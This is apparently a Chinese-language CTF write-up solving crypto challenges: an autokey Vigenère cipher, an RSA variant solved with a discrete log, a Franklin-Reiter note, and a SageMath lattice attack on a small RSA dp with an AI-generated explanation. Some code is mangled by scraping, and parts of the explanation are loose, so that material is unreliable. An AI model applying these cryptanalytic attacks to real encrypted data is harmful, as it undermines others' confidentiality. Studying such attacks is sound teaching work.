VWNHMA. GCWWJTT VULMG NJYO'M AIYVQOY WHPNOA NH JFRSE UAM KOEMG. NDNIHCZB IZOPLCDTTBNR JSNLM QNZBNR. MFEGLT LPHOEL BRNYS IILM LQZRFNMR. CGFXAG RPJMBKBNEG GVDYOVMW. '''
解题代码:
附上暴力解题的网站:https://www.guballa.de/vigenere-solver
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 from hashlib import md5 zen1 = ''' BEAUTIFUL IS BETTER THAN UGLY. EXPLICIT IS BETTER THAN IMPLICIT. SIMPLE IS BETTER THAN COMPLEX. COMPLEX IS BETTER THAN COMPLICATED. FLAT IS BETTER THAN NESTED. SPARSE IS BETTER THAN DENSE. FLAGA IS VEGENERE READABILITY COUNTS. SPECIAL CASES AREN'T SPECIAL ENOUGH TO BREAK THE RULES. ALTHOUGH PRACTICALITY BEATS PURITY. ERRORS SHOULD NEVER PASS SILENTLY. UNLESS EXPLICITLY SILENCED. ''' key1 =subtitution def shift_char(c, k): return chr(((ord(c) - ord('A') + (ord(k) - ord('A'))) % 26) + ord('A')) #c是原字母,k向后移动几位,%26为了超出26的数字循环回来,也就是凯撒 def enc1(plaintext, key): plaintext = plaintext.upper() key = key.upper() #两个转成大写 ciphertext = [] #密文 key_index = 0 for char in plaintext: if char.isalpha(): ciphertext.append(shift_char(char, key[key_index % len(key)])) #append函数是在列表最后插入,key_index % len(key)确定了key能循环用,key[]代表第n-1个 key_index += 1 else: ciphertext.append(char) return ''.join(ciphertext) print('enc = \'\'\'' + enc1(zen1, key1)+'\'\'\'') flag = b'flag{'+md5(zen1.encode()).hexdigest().encode()+b'}' print(flag)
9.故事新编2w3 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 from hashlib import md5 zen2 = ''' ''' key2 = dict1 = {'A': 0, 'B': 1, 'C': 2, 'D': 3, 'E': 4, 'F': 5, 'G': 6, 'H': 7, 'I': 8, 'J': 9, 'K': 10, 'L': 11, 'M': 12, 'N': 13, 'O': 14, 'P': 15, 'Q': 16, 'R': 17, 'S': 18, 'T': 19, 'U': 20, 'V': 21, 'W': 22, 'X': 23, 'Y': 24, 'Z': 25} dict2 = {0: 'A', 1: 'B', 2: 'C', 3: 'D', 4: 'E', 5: 'F', 6: 'G', 7: 'H', 8: 'I', 9: 'J', 10: 'K', 11: 'L', 12: 'M', 13: 'N', 14: 'O', 15: 'P', 16: 'Q', 17: 'R', 18: 'S', 19: 'T', 20: 'U', 21: 'V', 22: 'W', 23: 'X', 24: 'Y', 25: 'Z'} def generate_key(message, key): for i in range(len(message)): if message[i].isalpha() == False: pass else: key += message[i] return key #把key和message拼接起来 def enc2(message, key): message = message.upper() key = key.upper() key_new = generate_key(message, key) #key_new就是把message和key拼起来 cipher_text = '' i = 0 for letter in message: if letter.isalpha(): x = (dict1[letter]+dict1[key_new[i]]) % 26 cipher_text += dict2[x] #同时取letter和key_new第i+1个字母然后对应数字相加取模26,得出来的数字在字典2中找到字母然后拼接 i += 1 else: cipher_text += letter return cipher_text #形成密文 print('enc = \'\'\'' + enc2(zen2, key2)+'\'\'\'') flag = b'flag{'+md5(zen2.encode()).hexdigest().encode()+b'}' print(flag) #---------------------------------------------- enc = ''' AH ILV XUDX WY UFJWTCVMF, VJFWWS YHQ UMSJBTRZSS NG KNLWL. XTTKE LPCHER HY SFW-- TUH GVWMSLLEMC CAPY BQT --FFAMFUT HYM GZ BC VX. OMOPCOYD TFTH ZOG FAJ GVH VK VUCIHQS YF FGEGM VRZFNA MIM'RX ICKUA. HBH MK TCHNVV WBTP URJAZ. SMXAHYXA UEIRV DW FFEXU PYZARV OLRV JWLAX APA. BY XYX PMCCMSLGGOPQTG PW PMGO XA IKILTQB, VB'K H BRG BRIX. XQ TPR QFHLFMHVWETQTG PW MMHJ XA IKILTQB, VB EEY TC T USLS TDMN. '''
1 2 3 4 5 6 7 8 这段代码是让ai跑出来的,其实就是python圣经的部分内容 IN THE FACE OF AMBIGUITY, REFUSE THE TEMPTATION TO GUESS. THERE SHOULD BE ONE-- AND PREFERABLY ONLY ONE --OBVIOUS WAY TO DO IT. ALTHOUGH THAT WAY MAY NOT BE OBVIOUS AT FIRST UNLESS YOU'RE DUTCH. NOW IS BETTER THAN NEVER. ALTHOUGH NEVER IS OFTEN BETTER THAN RIGHT NOW. IF THE IMPLEMENTATION IS HARD TO EXPLAIN, IT'S A BAD IDEA. IF THE IMPLEMENTATION IS EASY TO EXPLAIN, IT MAY BE A GOOD IDEA.
https://www.guballa.de/vigenere-solver 在这个网站上面xuang
三种维吉尼亚密码
特征
Classical Vigenère (古典维吉尼亚)
Autokey Vigenère (自动密钥维吉尼亚)
Beaufort Variant (博福特变体)
核心加密公式
C = (P + K) mod 26
C = (P + K) mod 26
C = (K - P) mod 26
解密公式
P = (C - K) mod 26
P = (C - K) mod 26
P = (K - C) mod 26
密钥特性
固定长度的重复密钥
自生成密钥:初始密钥+后续明文
固定长度的重复密钥
密钥生成方式
通过循环重复密钥 (如”KEYKEYKEY”)
1. 初始密钥部分 2. 后续添加已加密的明文
通过循环重复密钥 (如”KEYKEYKEY”)
密钥序列示例 (明文:ATTACK, 密钥”KEY”)
KEYKEY
KEYATT
KEYKEY
是否自同步
❌
✅ (解密过程中自动生成后续密钥)
❌
数学关系
加法密码
加法密码(但密钥包含明文)
减法密码
安全性
易受Kasiski测试攻击
抗Kasiski测试攻击
与古典维吉尼亚安全性相似
主要优点
简单易实现
密钥不会重复,安全性更高
提供不同的数学运算方式
主要缺点
密钥重复导致模式泄露
初始密钥丢失=完全无法解密
数学逆运算稍复杂
典型应用
传统加密系统
需要更高安全性的场合
特定安全需求场合
Classical Vigenère (古典维吉尼亚)
工作原理 :密钥重复使用,每个明文字母与密钥字母相加取模26
密钥流 :固定长度的密钥循环扩展(如”KEY”→”KEYKEYKEY…”)
漏洞 :密钥重复导致密文出现可检测的模式,易受Kasiski分析攻击
Autokey Vigenère (自动密钥维吉尼亚)
密钥生成 :
初始部分:预定义的密钥(如”KEY”)
后续部分:添加原始明文
密钥=key+明文
优点 :
没有重复的密钥模式
实现自同步:解密过程自动生成后续密钥
解密过程 :使用初始密钥解密第一部分明文,然后用解出的明文作为后续密钥
Beaufort Variant (博福特变体)
核心运算 :减法操作(C = (K - P) mod 26)
数学特性 :
1 2 3 4 # 加密 c = (key_char - plain_char) % 26 # 解密 p = (key_char - cipher_char) % 26
- <strong>安全性</strong>:与古典维吉尼亚相似,通过相同密钥的循环使用
解题: 以下是解key代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 from hashlib import md5 zen2 = ''' IN THE FACE OF AMBIGUITY, REFUSE THE TEMPTATION TO GUESS. THERE SHOULD BE ONE-- AND PREFERABLY ONLY ONE --OBVIOUS WAY TO DO IT. ALTHOUGH THAT WAY MAY NOT BE OBVIOUS AT FIRST UNLESS YOU'RE DUTCH. NOW IS BETTER THAN NEVER. ALTHOUGH NEVER IS OFTEN BETTER THAN RIGHT NOW. IF THE IMPLEMENTATION IS HARD TO EXPLAIN, IT'S A BAD IDEA. IF THE IMPLEMENTATION IS EASY TO EXPLAIN, IT MAY BE A GOOD IDEA. ''' enc = ''' AH ILV XUDX WY UFJWTCVMF, VJFWWS YHQ UMSJBTRZSS NG KNLWL. XTTKE LPCHER HY SFW-- TUH GVWMSLLEMC CAPY BQT --FFAMFUT HYM GZ BC VX. OMOPCOYD TFTH ZOG FAJ GVH VK VUCIHQS YF FGEGM VRZFNA MIM'RX ICKUA. HBH MK TCHNVV WBTP URJAZ. SMXAHYXA UEIRV DW FFEXU PYZARV OLRV JWLAX APA. BY XYX PMCCMSLGGOPQTG PW PMGO XA IKILTQB, VB'K H BRG BRIX. XQ TPR QFHLFMHVWETQTG PW MMHJ XA IKILTQB, VB EEY TC T USLS TDMN. ''' dict1 = {'A': 0, 'B': 1, 'C': 2, 'D': 3, 'E': 4, 'F': 5, 'G': 6, 'H': 7, 'I': 8, 'J': 9, 'K': 10, 'L': 11, 'M': 12, 'N': 13, 'O': 14, 'P': 15, 'Q': 16, 'R': 17, 'S': 18, 'T': 19, 'U': 20, 'V': 21, 'W': 22, 'X': 23, 'Y': 24, 'Z': 25} dict2 = {0: 'A', 1: 'B', 2: 'C', 3: 'D', 4: 'E', 5: 'F', 6: 'G', 7: 'H', 8: 'I', 9: 'J', 10: 'K', 11: 'L', 12: 'M', 13: 'N', 14: 'O', 15: 'P', 16: 'Q', 17: 'R', 18: 'S', 19: 'T', 20: 'U', 21: 'V', 22: 'W', 23: 'X', 24: 'Y', 25: 'Z'} def de_key(encrypted, decrypted): key_text = '' for i in range(len(encrypted)): d_char = encrypted[i] e_char = decrypted[i] if d_char.isalpha(): #因为明文和密文是代替密码,即一一对应不会有多的字符产生,这样才可以直接这样算 key_num = (dict1[e_char] - dict1[d_char]) % 26 #这里用到了取模的可逆性 key_text += dict2[key_num] return key_text key_stream = de_key(zen2, enc) print(f"key+明文(除了标点和空格): {key_stream}")
解题的时候也遇到了一个很简洁的代码:
enc_letters = [c for c in encrypted if c.isalpha()]
(为了让代码简单点,我就没用这个了,直接用if d_char.isalpha():,不再多生成一个表了)
这个相当于:
1 2 3 4 5 enc_letters = [] for c in encrypted: if c.isalpha(): enc_letters.append(c) #作用是提取密文中的纯字母部分,忽略空格、标点等非字母字符
解出来的结果如下:
key+明文(除了标点和空格): **SUPERSUBTITUTION**INTHEFACEOFAMBIGUITYREFUSETHETEMPTATIONTOGUESSTHERESHOULDBEONEANDPREFERABLYONLYONEOBVIOUSWAYTODOITALTHOUGHTHATWAYMAYNOTBEOBVIOUSATFIRSTUNLESSYOUREDUTCHNOWISBETTERTHANNEVERALTHOUGHNEVERISOFTENBETTERTHANRIGHTNOWIFTHEIMPLEMENTATIONISHARDTOEXPLAINITSABADIDEAIFTHEIMPLEMENTATIONISEASYTOEXPLAIN
不用在意后面的东西,比对以下就发现key是**SUPERSUBTITUTION**
带回源代码就行了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 from hashlib import md5 zen2 = ''' IN THE FACE OF AMBIGUITY, REFUSE THE TEMPTATION TO GUESS. THERE SHOULD BE ONE-- AND PREFERABLY ONLY ONE --OBVIOUS WAY TO DO IT. ALTHOUGH THAT WAY MAY NOT BE OBVIOUS AT FIRST UNLESS YOU'RE DUTCH. NOW IS BETTER THAN NEVER. ALTHOUGH NEVER IS OFTEN BETTER THAN RIGHT NOW. IF THE IMPLEMENTATION IS HARD TO EXPLAIN, IT'S A BAD IDEA. IF THE IMPLEMENTATION IS EASY TO EXPLAIN, IT MAY BE A GOOD IDEA. ''' key2 = '''SUPERSUBTITUTION''' dict1 = {'A': 0, 'B': 1, 'C': 2, 'D': 3, 'E': 4, 'F': 5, 'G': 6, 'H': 7, 'I': 8, 'J': 9, 'K': 10, 'L': 11, 'M': 12, 'N': 13, 'O': 14, 'P': 15, 'Q': 16, 'R': 17, 'S': 18, 'T': 19, 'U': 20, 'V': 21, 'W': 22, 'X': 23, 'Y': 24, 'Z': 25} dict2 = {0: 'A', 1: 'B', 2: 'C', 3: 'D', 4: 'E', 5: 'F', 6: 'G', 7: 'H', 8: 'I', 9: 'J', 10: 'K', 11: 'L', 12: 'M', 13: 'N', 14: 'O', 15: 'P', 16: 'Q', 17: 'R', 18: 'S', 19: 'T', 20: 'U', 21: 'V', 22: 'W', 23: 'X', 24: 'Y', 25: 'Z'} def generate_key(message, key): for i in range(len(message)): if message[i].isalpha() == False: pass else: key += message[i] return key #把key和message拼接起来 def enc2(message, key): message = message.upper() key = key.upper() key_new = generate_key(message, key) #key_new就是把message和key拼起来 cipher_text = '' i = 0 for letter in message: if letter.isalpha(): x = (dict1[letter]+dict1[key_new[i]]) % 26 cipher_text += dict2[x] #同时取letter和key_new第i+1个字母然后对应数字相加取模26,得出来的数字在字典2中找到字母然后拼接 i += 1 else: cipher_text += letter return cipher_text #形成密文 print('enc = \'\'\'' + enc2(zen2, key2)+'\'\'\'') flag = b'flag{'+md5(zen2.encode()).hexdigest().encode()+b'}' print(flag) #---------------------------------------------- enc = ''' AH ILV XUDX WY UFJWTCVMF, VJFWWS YHQ UMSJBTRZSS NG KNLWL. XTTKE LPCHER HY SFW-- TUH GVWMSLLEMC CAPY BQT --FFAMFUT HYM GZ BC VX. OMOPCOYD TFTH ZOG FAJ GVH VK VUCIHQS YF FGEGM VRZFNA MIM'RX ICKUA. HBH MK TCHNVV WBTP URJAZ. SMXAHYXA UEIRV DW FFEXU PYZARV OLRV JWLAX APA. BY XYX PMCCMSLGGOPQTG PW PMGO XA IKILTQB, VB'K H BRG BRIX. XQ TPR QFHLFMHVWETQTG PW MMHJ XA IKILTQB, VB EEY TC T USLS TDMN. '''
rsa变种10.没e能玩? 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 from Crypto.Util.number import * import random import sympy import gmpy2 m = bytes_to_long(b'flag{*****}') p = getPrime(512) q = getPrime(512) r = getPrime(512) h1 = 1*p + 1*q + 1*r h2 = 2*p + 3*q + 3*r h3 = 9*p + 9*q + 6*r print( "hint_of_pqr=" , h1 , h2 , h3 ) e = getPrime(64) a_big_prime = getPrime( 512 ) hint = pow(a_big_prime,e,2**512) print( "big_prime is: " , a_big_prime ) print( "hint is: " , hint ) n = p*q*r c = pow( m , e , n ) print( "c=" , c ) """ h1 = 31142735238530997044538008977536563192992446755282526163704097825748037157617958329370018716097695151853567914689441893020256819531959835133410539308633497 h2 = 83244528500940968089139246591338465098116598400576450028712055615289379610182828415628469144649133540240957232351546273836449824638227295064400834828714760 h3 = 248913032538718194100308575844236838621741774207751338576000867909773931464854644505429950530402814602955352740032796855486666128271187734043696395254816172 hint_of_pqr= 31142735238530997044538008977536563192992446755282526163704097825748037157617958329370018716097695151853567914689441893020256819531959835133410539308633497 83244528500940968089139246591338465098116598400576450028712055615289379610182828415628469144649133540240957232351546273836449824638227295064400834828714760 248913032538718194100308575844236838621741774207751338576000867909773931464854644505429950530402814602955352740032796855486666128271187734043696395254816172 big_prime is: 10340528340717085562564282159472606844701680435801531596688324657589080212070472855731542530063656135954245247693866580524183340161718349111409099098622379 hint is: 1117823254118009923270987314972815939020676918543320218102525712576467969401820234222225849595448982263008967497960941694470967789623418862506421153355571 c= 999238457633695875390868312148578206874085180328729864031502769160746939370358067645058746087858200698064715590068454781908941878234704745231616472500544299489072907525181954130042610756999951629214871917553371147513692253221476798612645630242018686268404850587754814930425513225710788525640827779311258012457828152843350882248473911459816471101547263923065978812349463656784597759143314955463199850172786928389414560476327593199154879575312027425152329247656310 """
这里能看出来关键就是解e,这里引入一个数学概念:离散对数
离散对数
比如像题目里面的hint = pow(a_big_prime,e,2**512),hint、a_big_prime都已知的情况下求e,可以直接用函数e = sympy.discrete_log(2**512,hint,a_big_prime)(顺序和pow倒过来)
同时注意:pow(a,b,c)执行的abc都是整数,但是python中的除法 **/**算出来的一律是浮点数(即便是整除),所以这里引入整除 **//**(结果是整数型、向下取整)
这个东西解完就可以解题了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from Cryptodome.Util.number import long_to_bytes as l2b import sympy h1 = 31142735238530997044538008977536563192992446755282526163704097825748037157617958329370018716097695151853567914689441893020256819531959835133410539308633497 h2 = 83244528500940968089139246591338465098116598400576450028712055615289379610182828415628469144649133540240957232351546273836449824638227295064400834828714760 h3 = 248913032538718194100308575844236838621741774207751338576000867909773931464854644505429950530402814602955352740032796855486666128271187734043696395254816172 a_big_prime = 10340528340717085562564282159472606844701680435801531596688324657589080212070472855731542530063656135954245247693866580524183340161718349111409099098622379 c = 999238457633695875390868312148578206874085180328729864031502769160746939370358067645058746087858200698064715590068454781908941878234704745231616472500544299489072907525181954130042610756999951629214871917553371147513692253221476798612645630242018686268404850587754814930425513225710788525640827779311258012457828152843350882248473911459816471101547263923065978812349463656784597759143314955463199850172786928389414560476327593199154879575312027425152329247656310 hint = 1117823254118009923270987314972815939020676918543320218102525712576467969401820234222225849595448982263008967497960941694470967789623418862506421153355571 #解方程 p = 3*h1 - h2 r = (9*h1 - h3)//3 q = h1 - p -r #解e e = sympy.discrete_log(2**512,hint,a_big_prime) #rsa算法 n = p*q*r fain = (p-1)*(q-1)*(r-1) d = pow(e,-1,fain) m = pow(c,d,n) print(l2b(m))
11.两个黄鹂鸣翠柳 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import random from Crypto.Util.number import * while 1: delta = getPrime(1024) p = getPrime(512) q = getPrime(512) N = p * q if delta<N: break flag = b'flag{xxxxxxxxxxxxx}' e = getPrime(10) m = bytes_to_long(flag) t1 = random.randint(0,255) t2 = random.randint(0,255) assert (t1 != t2) #检测是否是真,假则中止 m1 = m + t1 * delta m2 = m + t2 * delta c1 = pow(m1, e, N) c2 = pow(m2, e, N) print("e = ", e) print("c1 = ", c1) print("c2 = ", c2) print("N = ", N) print("delta = ", delta) ''' e = 683 c1 = 56853945083742777151835031127085909289912817644412648006229138906930565421892378967519263900695394136817683446007470305162870097813202468748688129362479266925957012681301414819970269973650684451738803658589294058625694805490606063729675884839653992735321514315629212636876171499519363523608999887425726764249 c2 = 89525609620932397106566856236086132400485172135214174799072934348236088959961943962724231813882442035846313820099772671290019212756417758068415966039157070499263567121772463544541730483766001321510822285099385342314147217002453558227066228845624286511538065701168003387942898754314450759220468473833228762416 N = 147146340154745985154200417058618375509429599847435251644724920667387711123859666574574555771448231548273485628643446732044692508506300681049465249342648733075298434604272203349484744618070620447136333438842371753842299030085718481197229655334445095544366125552367692411589662686093931538970765914004878579967 delta = 93400488537789082145777768934799642730988732687780405889371778084733689728835104694467426911976028935748405411688535952655119354582508139665395171450775071909328192306339433470956958987928467659858731316115874663323404280639312245482055741486933758398266423824044429533774224701791874211606968507262504865993 '''
大数分解网站在升级,进不去感觉就是rsa变种,但是我看解析说的是half-gcd
7-22补充:可能是n太大了,大数分解不了
这里用到一个新的理论:
相关信息攻击-Franklin-Reiter-CSDN博客
今天理清了概念:
pow(2,a,5)这里第二个数字是正数的时候是求(2^a)%5,如果说这里的a=-1那就是求逆元,即2x%5==1求这里的最小正数x就是逆元。
gcd算法:gcd(a,b)就是求a和b的最大公因数,其算法用的是欧几里得算法
gcd算法和RSA之间的关系:RSA解密时会求在e的逆元模φ(n),算模逆元的第一步就是检测两个数的gcd是否为1
Franklin-Reiter相关消息攻击可行:这里的e不大(683)
sagemath12.圣石匕首 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 import gmpy2 beta=0.37 delta=0.01 n=round((1-2*beta-2*delta)/((1-beta)^2-2*delta-beta),6) #四舍五入,6代表保留的小数位数 e= 3668637434348843171145584606519031375027610199908169273169275927238735031431533260375377791001464799116453803408104076615710166171199990283470548282669948353598733020244755959461974603778630346457439345913209321194112256348302765254052193562603687450740346132207444615610078198488883539133291840346099727880587092122957231085658576850601488737629051252914095889313671875244094452330062619943781809984690384476868543570724769198985172300665613239047649089399919032152539462701309393130614829962670866062380816370571057536421400102100259975636785825540933280194583888638501981649650640939392658268133881679239293596283 N= 9748523098652101859947730585916490335896800943242955095820326993765071194474558998322598145898741779502734772138283011560029368500998354183150180904846368209977332058847768859238711047784703104535311583123388923571789764758869419482184613566672922481672444028753365755071127320541645016370072493604532087980626825687519083734367691341907014061379844209864141989961751681235215504772582878202048494707090104738899927036896915997556102574747166491969027546256022019959716418675672979328622656831990050058120299353807110233202113906317969377201045402271911946244076903611612303290556012512559696538977841061277173754331 c= 5374936627659221745209010619827617207565185520404653329184605916859755641352457088986635357806048863755173540232471505333583684733535121482637476692432365062808450583470788320547816186936317927449796090525477205337038591439577855884910604383190932340306435201976465543731935147881754136301375206828970248293731391543905441514528959500307972606931927112031018356411970001312995489429650903529877904694901310020882390008248466887950986326522740278880600110217817950511478637493101027659292006016454642135508207492151610829525082829566392116546434101694921106423469015683277992978077101831969525458693031031468092418427 n=int(n+1) #print(n) m=int(n*(1-beta)) X=int(pow(N,delta)) Y=int(pow(N,delta+beta)) Z.<x,y>=ZZ[] L=Matrix(ZZ,n,n) f=e*x-y for i in range(n): g=list(N^max(0,m-i)*x^(n-1-i)*f^i) for j in range(len(g)): L[i,j]=g[j][0]*X^(n-1-j)*Y^j L=L.LLL()[0] coeff=[] for i in range(n): coeff.append((L[i]//(X^(n-1-i)*Y^i),'x'+'**'+str(n-1-i)+'*y'+'**'+str(i))) s='' for i in range(len(coeff)): s+=str(coeff[i][0])+'*'+coeff[i][1]+'+' f=eval(s[:-1]) factored_f = f.factor() first_polynomial = factored_f[0][0] first_coefficient = first_polynomial.coefficients()[0] k = first_coefficient + 1 dp = first_polynomial.coefficients()[1] p=(e*dp-1)//k+1 q=N//p phi=(p-1)*(q-1) d=gmpy2.invert(e,phi) m=pow(c,d,N) print(bytes.fromhex(hex(m)[2:]))
我将详细解释这段代码,它是一段针对特殊 RSA 漏洞的攻击代码。这个漏洞发生在当私钥的一部分 (dp = d mod (p-1)) 比较小的时候,攻击者可以通过数学技巧恢复私钥。
📜 代码用途 这段代码实施的是针对 RSA 的 partial private key exposure attack (部分私钥泄露攻击),具体是利用已知的 dp = d mod (p-1)特性来破解 RSA。
📌 攻击背景: 在 RSA 中:
N = p * q(两个大素数)
私钥 d满足 e * d ≡ 1 mod φ(N),其中 φ(N) = (p-1)(q-1)
dp = d mod (p-1)
如果 dp的值相对较小(小于 N的约 0.37 次方),就能用格攻击(Lattice Attack)分解 N
📝 代码逐行解析 1. 导入库和参数设置 1 2 3 4 5 6 7 8 9 10 python 运行 复制 import gmpy2 beta = 0.37 # p 的大小指数(p ≈ N^β) delta = 0.01 # 攻击参数(控制格大小)
gmpy2:用于大数运算(求模逆、模幂等)
beta=0.37:假设素数 p的大小约是 N^0.37
delta=0.01:控制格基大小的参数
2. 计算格维度 1 2 3 4 5 6 7 8 9 10 11 12 13 14 python 运行 复制 print(1-2*beta-2*delta) n = round((1-2*beta-2*delta)/((1-beta)**2-2*delta-beta), 6) e = 36686374... # 公钥e N = 97485230... # RSA模数 c = 53749366... # 密文 n = int(n+1) # 格维度向上取整 print(n)
通过数学公式计算格基维度 n
n+1是安全措施,确保格足够大
公式来源:Howgrave-Graham 定理的扩展
输出:5(表示将使用 5×5 的格)
3. 设置边界值 1 2 3 4 5 6 7 8 9 10 python 运行 复制 m = int(n*(1-beta)) # 多项式次数 X = int(pow(N, delta)) # x 的边界(dp 的估计上界) Y = int(pow(N, delta+beta)) # y 的边界(辅助变量的上界)
X ≈ N^0.01 ≈ 2^15(假设 N是2048位)
Y ≈ N^0.38 ≈ 2^600
用于限制搜索空间大小
4. 构建多项式环 1 2 3 4 5 6 7 8 python 运行 复制 Z.<x,y> = ZZ[] # 定义整数环上的二元多项式环
创建多项式环境,变量为 x(代表 dp),y(代表辅助变量)
可在环中做多项式运算:(3*x + y^2) * (x - 5*y)
5. 构造核心多项式 1 2 3 4 5 6 7 8 9 python 运行 复制 L = Matrix(ZZ, n, n) # 创建 n×n 整数矩阵 f = e*x - y # 关键多项式(核心方程)
多项式 f的来源:
1 2 3 4 5 6 7 8 复制 已知:e * dp ≡ 1 mod (p-1) ⇒ e * dp - 1 = k(p-1) [k是整数] ⇒ e * dp - k(p-1) = 1 设 y = k(p-1) + 1 则 f = e*x - y 在 x=dp, y=k(p-1)+1 时为0
6. 填充格矩阵 1 2 3 4 5 6 7 8 9 10 11 python 运行 复制 for i in range(n): g = list(N^max(0, m-i) * x^(n-1-i) * f^i) for j in range(len(g)): L[i,j] = g[j][0] * X^(n-1-j) * Y^j
构造原理 :通过多项式移位构建格基
每个 g是:N^{m-i} * x^{n-1-i} * (e*x - y)^i
X^(n-1-j)*Y^j:缩放系数,平衡格中向量
7. LLL 格基约减 1 2 3 4 5 6 7 8 python 运行 复制 L = L.LLL()[0] # 执行LLL算法取最短向量
LLL 算法 :找出格中最短向量
这里是攻击的核心,复杂度 O(n⁶),当 n=5 时约需0.5秒
输出:一个短向量,对应潜在解
8. 提取多项式系数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 python 运行 复制 coeff = [] for i in range(n): coeff.append((L[i]//(X^(n-1-i)*Y^i), 'x**'+str(n-1-i)+'*y**'+str(i))) s = '' for i in range(len(coeff)): s += str(coeff[i][0]) + '*' + coeff[i][1] + '+' f = eval(s[:-1]) # 重构多项式
逆缩放系数恢复原始多项式
例如:从向量 [1024, 768]恢复 1024*x + 768*y
9. 分解多项式找解 1 2 3 4 5 6 7 8 9 10 11 python 运行 复制 factored_f = f.factor() # 多项式因式分解 first_polynomial = factored_f[0][0] # 取第一个因式 k = first_polynomial.coefficients()[0] + 1 dp = first_polynomial.coefficients()[1]
因式分解示例:x + 2y - 3= (x + 2y - 3)
k对应公式中的整数常数
dp就是我们要的 d mod (p-1)
10. 计算私钥并解密 1 2 3 4 5 6 7 8 9 10 11 12 13 python 运行 复制 p = (e*dp - 1)//k + 1 # 求素数p q = N // p # 求素数q phi = (p-1)*(q-1) # 欧拉函数 d = gmpy2.invert(e, phi) # 求私钥d m = pow(c, d, N) # RSA解密 print(bytes.fromhex(hex(m)[2:])) # 输出明文
最后一步是标准 RSA 解密流程:
通过 dp恢复 p和 q
计算 φ(N) = (p-1)(q-1)
用扩展欧几里得求私钥 d
解密得到明文
🧪 攻击成功的数学原理 核心在于当 dp较小时(具体是 dp < N^0.37),通过:
1 2 3 4 5 6 复制 e·dp ≡ 1 mod (p-1) ⇒ e·dp - 1 是 (p-1) 的倍数 ⇒ 存在 k 使得 e·dp - 1 = k(p-1)
构造格结构,用 LLL 算法找到小解(即 dp)。
⚠️ 注意事项
参数依赖性 :
如果实际的 dp > N^0.37,攻击会失败
需要精确设置 beta(若实际 p 大小不符会失败)
格维度 :
n=5表示 5 维格(快速)
若需要更大 n(如 10),计算时间可能达数分钟
实际应用 :
此漏洞在现实系统少见(因为通常 dp大小接近 p)
主要见于特殊设计的加密系统
错误处理 :
无错误处理机制
如果 LLL 返回非解向量,后续计算会崩溃